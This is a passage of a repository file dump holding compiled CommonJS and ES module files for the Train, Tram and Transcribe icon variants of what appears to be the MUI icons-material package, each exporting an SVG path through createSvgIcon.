    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h2l2-2h4l2 2h2v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-4-4-8-4M7.5 17c-.83 0-1.5-.67-1.5-1.5S6.67 14 7.5 14s1.5.67 1.5 1.5S8.33 17 7.5 17m3.5-7H6V6h5zm5.5 7c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m1.5-7h-5V6h5z\"\n}), 'TrainSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrainSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h2l2-2h4l2 2h2v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-4-4-8-4M7.5 17c-.83 0-1.5-.67-1.5-1.5S6.67 14 7.5 14s1.5.67 1.5 1.5S8.33 17 7.5 17m3.5-7H6V6h5zm5.5 7c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m1.5-7h-5V6h5z\"\n}), 'TrainSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrainTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-3.51 0-4.96.48-5.57 1h11.13c-.6-.52-2.05-1-5.56-1M6 15.5c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5V12H6zm9.5-2.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 16 8.5 16 7 15.33 7 14.5 7.67 13 8.5 13\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h2l2-2h4l2 2h2v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-4-4-8-4m0 2c3.51 0 4.96.48 5.57 1H6.43c.61-.52 2.06-1 5.57-1M6 7h5v3H6zm12 8.5c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V12h12zm0-5.5h-5V7h5z\"\n}, \"3\")], 'TrainTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrainTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-3.51 0-4.96.48-5.57 1h11.13c-.6-.52-2.05-1-5.56-1M6 15.5c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5V12H6zm9.5-2.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 16 8.5 16 7 15.33 7 14.5 7.67 13 8.5 13\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h2l2-2h4l2 2h2v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-4-4-8-4m0 2c3.51 0 4.96.48 5.57 1H6.43c.61-.52 2.06-1 5.57-1M6 7h5v3H6zm12 8.5c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V12h12zm0-5.5h-5V7h5z\"\n}, \"3\")], 'TrainTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tram.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 16.94V8.5c0-2.79-2.61-3.4-6.01-3.49l.76-1.51H17V2H7v1.5h4.75l-.76 1.52C7.86 5.11 5 5.73 5 8.5v8.44c0 1.45 1.19 2.66 2.59 2.97L6 21.5v.5h2.23l2-2H14l2 2h2v-.5L16.5 20h-.08c1.69 0 2.58-1.37 2.58-3.06m-7 1.56c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5-4.5H7V9h10z\"\n}), 'Tram');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tram.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 16.94V8.5c0-2.79-2.61-3.4-6.01-3.49l.76-1.51H17V2H7v1.5h4.75l-.76 1.52C7.86 5.11 5 5.73 5 8.5v8.44c0 1.45 1.19 2.66 2.59 2.97L6 21.5v.5h2.23l2-2H14l2 2h2v-.5L16.5 20h-.08c1.69 0 2.58-1.37 2.58-3.06m-7 1.56c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5-4.5H7V9h10z\"\n}), 'Tram');"
  },
  {
    "path": "packages/mui-icons-material/lib/TramOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 5 .75-1.5H17V2H7v1.5h4.75L11 5c-3.13.09-6 .73-6 3.5V17c0 1.5 1.11 2.73 2.55 2.95L6 21.5v.5h2l2-2h4l2 2h2v-.5l-1.55-1.55h-.01.01C17.89 19.73 19 18.5 19 17V8.5c0-2.77-2.87-3.41-6-3.5m-1.97 2h1.94c2.75.08 3.62.58 3.9 1H7.13c.28-.42 1.15-.92 3.9-1m-.18 10.95H7.74C7.3 17.84 7 17.45 7 17v-1h3.89c-.24.27-.39.61-.39 1 0 .36.13.69.35.95M17 17c0 .45-.3.84-.74.95h-3.11c.22-.26.35-.59.35-.95 0-.39-.15-.73-.39-1H17zm0-3H7v-4h10z\"\n}), 'TramOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TramOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 5 .75-1.5H17V2H7v1.5h4.75L11 5c-3.13.09-6 .73-6 3.5V17c0 1.5 1.11 2.73 2.55 2.95L6 21.5v.5h2l2-2h4l2 2h2v-.5l-1.55-1.55h-.01.01C17.89 19.73 19 18.5 19 17V8.5c0-2.77-2.87-3.41-6-3.5m-1.97 2h1.94c2.75.08 3.62.58 3.9 1H7.13c.28-.42 1.15-.92 3.9-1m-.18 10.95H7.74C7.3 17.84 7 17.45 7 17v-1h3.89c-.24.27-.39.61-.39 1 0 .36.13.69.35.95M17 17c0 .45-.3.84-.74.95h-3.11c.22-.26.35-.59.35-.95 0-.39-.15-.73-.39-1H17zm0-3H7v-4h10z\"\n}), 'TramOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TramRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 5 .75-1.5H17V2H7v1.5h4.75L11 5c-3.13.09-6 .73-6 3.5V17c0 1.5 1.11 2.73 2.55 2.95l-1.19 1.19c-.32.32-.1.86.35.86H7.8c.13 0 .26-.05.35-.15L10 20h4l1.85 1.85c.09.09.22.15.35.15h1.09c.45 0 .67-.54.35-.85l-1.19-1.19C17.89 19.73 19 18.5 19 17V8.5c0-2.77-2.87-3.41-6-3.5m-1 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5-4.5H7V9h10z\"\n}), 'TramRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TramRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 5 .75-1.5H17V2H7v1.5h4.75L11 5c-3.13.09-6 .73-6 3.5V17c0 1.5 1.11 2.73 2.55 2.95l-1.19 1.19c-.32.32-.1.86.35.86H7.8c.13 0 .26-.05.35-.15L10 20h4l1.85 1.85c.09.09.22.15.35.15h1.09c.45 0 .67-.54.35-.85l-1.19-1.19C17.89 19.73 19 18.5 19 17V8.5c0-2.77-2.87-3.41-6-3.5m-1 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5-4.5H7V9h10z\"\n}), 'TramRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TramSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 5 .75-1.5H17V2H7v1.5h4.75L11 5c-3.13.09-6 .73-6 3.5V17c0 1.5 1.11 2.73 2.55 2.95L6 21.5v.5h2l2-2h4l2 2h2v-.5l-1.55-1.55C17.89 19.73 19 18.5 19 17V8.5c0-2.77-2.87-3.41-6-3.5m-1 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5-4.5H7V9h10z\"\n}), 'TramSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TramSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 5 .75-1.5H17V2H7v1.5h4.75L11 5c-3.13.09-6 .73-6 3.5V17c0 1.5 1.11 2.73 2.55 2.95L6 21.5v.5h2l2-2h4l2 2h2v-.5l-1.55-1.55C17.89 19.73 19 18.5 19 17V8.5c0-2.77-2.87-3.41-6-3.5m-1 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m5-4.5H7V9h10z\"\n}), 'TramSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TramTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.97 7h-1.94c-2.75.08-3.62.58-3.9 1h9.74c-.28-.42-1.15-.92-3.9-1M7 16v1c0 .45.3.84.74.95h3.11c-.22-.26-.35-.59-.35-.95 0-.39.15-.73.39-1zm6.5 1c0 .36-.13.69-.35.95h3.11c.44-.11.74-.5.74-.95v-1h-3.89c.24.27.39.61.39 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 5 .75-1.5H17V2H7v1.5h4.75L11 5c-3.13.09-6 .73-6 3.5V17c0 1.5 1.11 2.73 2.55 2.95L6 21.5v.5h2l2-2h4l2 2h2v-.5l-1.55-1.55h-.01.01C17.89 19.73 19 18.5 19 17V8.5c0-2.77-2.87-3.41-6-3.5m-1.97 2h1.94c2.75.08 3.62.58 3.9 1H7.13c.28-.42 1.15-.92 3.9-1m-.18 10.95H7.74C7.3 17.84 7 17.45 7 17v-1h3.89c-.24.27-.39.61-.39 1 0 .36.13.69.35.95M17 17c0 .45-.3.84-.74.95h-3.11c.22-.26.35-.59.35-.95 0-.39-.15-.73-.39-1H17zm0-3H7v-4h10z\"\n}, \"1\")], 'TramTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TramTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.97 7h-1.94c-2.75.08-3.62.58-3.9 1h9.74c-.28-.42-1.15-.92-3.9-1M7 16v1c0 .45.3.84.74.95h3.11c-.22-.26-.35-.59-.35-.95 0-.39.15-.73.39-1zm6.5 1c0 .36-.13.69-.35.95h3.11c.44-.11.74-.5.74-.95v-1h-3.89c.24.27.39.61.39 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 5 .75-1.5H17V2H7v1.5h4.75L11 5c-3.13.09-6 .73-6 3.5V17c0 1.5 1.11 2.73 2.55 2.95L6 21.5v.5h2l2-2h4l2 2h2v-.5l-1.55-1.55h-.01.01C17.89 19.73 19 18.5 19 17V8.5c0-2.77-2.87-3.41-6-3.5m-1.97 2h1.94c2.75.08 3.62.58 3.9 1H7.13c.28-.42 1.15-.92 3.9-1m-.18 10.95H7.74C7.3 17.84 7 17.45 7 17v-1h3.89c-.24.27-.39.61-.39 1 0 .36.13.69.35.95M17 17c0 .45-.3.84-.74.95h-3.11c.22-.26.35-.59.35-.95 0-.39-.15-.73-.39-1H17zm0-3H7v-4h10z\"\n}, \"1\")], 'TramTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Transcribe.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.93 16 1.63-1.63c-2.77-3.02-2.77-7.56 0-10.74L17.93 2c-3.9 3.89-3.91 9.95 0 14m4.99-5.05c-.84-1.18-.84-2.71 0-3.89l-1.68-1.69c-2.02 2.02-2.02 5.07 0 7.27zM9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m6.39 2.56C13.71 14.7 11.53 14 9 14s-4.71.7-6.39 1.56C1.61 16.07 1 17.1 1 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66\"\n}), 'Transcribe');"
  },
  {
    "path": "packages/mui-icons-material/lib/Transcribe.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.93 16 1.63-1.63c-2.77-3.02-2.77-7.56 0-10.74L17.93 2c-3.9 3.89-3.91 9.95 0 14m4.99-5.05c-.84-1.18-.84-2.71 0-3.89l-1.68-1.69c-2.02 2.02-2.02 5.07 0 7.27zM9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m6.39 2.56C13.71 14.7 11.53 14 9 14s-4.71.7-6.39 1.56C1.61 16.07 1 17.1 1 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66\"\n}), 'Transcribe');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranscribeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C13.71 14.7 11.53 14 9 14s-4.71.7-6.39 1.56C1.61 16.07 1 17.1 1 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M15 19H3v-.78c0-.38.2-.72.52-.88C4.71 16.73 6.63 16 9 16s4.29.73 5.48 1.34c.32.16.52.5.52.88zm2.93-3 1.63-1.63c-2.77-3.02-2.77-7.56 0-10.74L17.93 2c-3.9 3.89-3.91 9.95 0 14m4.99-5.05c-.84-1.18-.84-2.71 0-3.89l-1.68-1.69c-2.02 2.02-2.02 5.07 0 7.27z\"\n}), 'TranscribeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranscribeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C13.71 14.7 11.53 14 9 14s-4.71.7-6.39 1.56C1.61 16.07 1 17.1 1 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M15 19H3v-.78c0-.38.2-.72.52-.88C4.71 16.73 6.63 16 9 16s4.29.73 5.48 1.34c.32.16.52.5.52.88zm2.93-3 1.63-1.63c-2.77-3.02-2.77-7.56 0-10.74L17.93 2c-3.9 3.89-3.91 9.95 0 14m4.99-5.05c-.84-1.18-.84-2.71 0-3.89l-1.68-1.69c-2.02 2.02-2.02 5.07 0 7.27z\"\n}), 'TranscribeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranscribeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.54 10.28c-.34-.82-.34-1.72 0-2.54.19-.45.1-.96-.24-1.3l-.1-.1c-.56-.56-1.51-.44-1.88.26-.8 1.48-.79 3.24.03 4.79.37.69 1.31.83 1.86.27l.1-.1c.34-.33.42-.84.23-1.28m-3.72 4.83c.4-.4.46-1.02.13-1.48-1.97-2.73-1.96-6.39.01-9.23.32-.47.26-1.1-.14-1.5-.5-.5-1.34-.46-1.78.1-2.73 3.54-2.73 8.36.02 12 .43.56 1.27.61 1.76.11M9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m6.39 2.56C13.71 14.7 11.53 14 9 14s-4.71.7-6.39 1.56C1.61 16.07 1 17.1 1 18.22V20c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1.78c0-1.12-.61-2.15-1.61-2.66\"\n}), 'TranscribeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranscribeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.54 10.28c-.34-.82-.34-1.72 0-2.54.19-.45.1-.96-.24-1.3l-.1-.1c-.56-.56-1.51-.44-1.88.26-.8 1.48-.79 3.24.03 4.79.37.69 1.31.83 1.86.27l.1-.1c.34-.33.42-.84.23-1.28m-3.72 4.83c.4-.4.46-1.02.13-1.48-1.97-2.73-1.96-6.39.01-9.23.32-.47.26-1.1-.14-1.5-.5-.5-1.34-.46-1.78.1-2.73 3.54-2.73 8.36.02 12 .43.56 1.27.61 1.76.11M9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m6.39 2.56C13.71 14.7 11.53 14 9 14s-4.71.7-6.39 1.56C1.61 16.07 1 17.1 1 18.22V20c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1.78c0-1.12-.61-2.15-1.61-2.66\"\n}), 'TranscribeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranscribeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.93 16 1.63-1.63c-2.77-3.02-2.77-7.56 0-10.74L17.93 2c-3.9 3.89-3.91 9.95 0 14m4.99-5.05c-.84-1.18-.84-2.71 0-3.89l-1.68-1.69c-2.02 2.02-2.02 5.07 0 7.27zM9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m6.39 2.56C13.71 14.7 11.53 14 9 14s-4.71.7-6.39 1.56C1.61 16.07 1 17.1 1 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66\"\n}), 'TranscribeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranscribeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.93 16 1.63-1.63c-2.77-3.02-2.77-7.56 0-10.74L17.93 2c-3.9 3.89-3.91 9.95 0 14m4.99-5.05c-.84-1.18-.84-2.71 0-3.89l-1.68-1.69c-2.02 2.02-2.02 5.07 0 7.27zM9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m6.39 2.56C13.71 14.7 11.53 14 9 14s-4.71.7-6.39 1.56C1.61 16.07 1 17.1 1 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66\"\n}), 'TranscribeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranscribeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"9\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.48 17.34C13.29 16.73 11.37 16 9 16s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V19h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.93 2c-3.9 3.89-3.91 9.95 0 14l1.63-1.63c-2.77-3.02-2.77-7.56 0-10.74zM9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C13.71 14.7 11.53 14 9 14s-4.71.7-6.39 1.56C1.61 16.07 1 17.1 1 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M15 19H3v-.78c0-.38.2-.72.52-.88C4.71 16.73 6.63 16 9 16s4.29.73 5.48 1.34c.32.16.52.5.52.88z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.92 7.06-1.68-1.69c-2.02 2.02-2.02 5.07 0 7.27l1.68-1.69c-.84-1.18-.84-2.71 0-3.89\"\n}, \"3\")], 'TranscribeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranscribeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"9\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.48 17.34C13.29 16.73 11.37 16 9 16s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V19h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.93 2c-3.9 3.89-3.91 9.95 0 14l1.63-1.63c-2.77-3.02-2.77-7.56 0-10.74zM9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m6.39 8.56C13.71 14.7 11.53 14 9 14s-4.71.7-6.39 1.56C1.61 16.07 1 17.1 1 18.22V21h16v-2.78c0-1.12-.61-2.15-1.61-2.66M15 19H3v-.78c0-.38.2-.72.52-.88C4.71 16.73 6.63 16 9 16s4.29.73 5.48 1.34c.32.16.52.5.52.88z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.92 7.06-1.68-1.69c-2.02 2.02-2.02 5.07 0 7.27l1.68-1.69c-.84-1.18-.84-2.71 0-3.89\"\n}, \"3\")], 'TranscribeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransferWithinAStation.js",
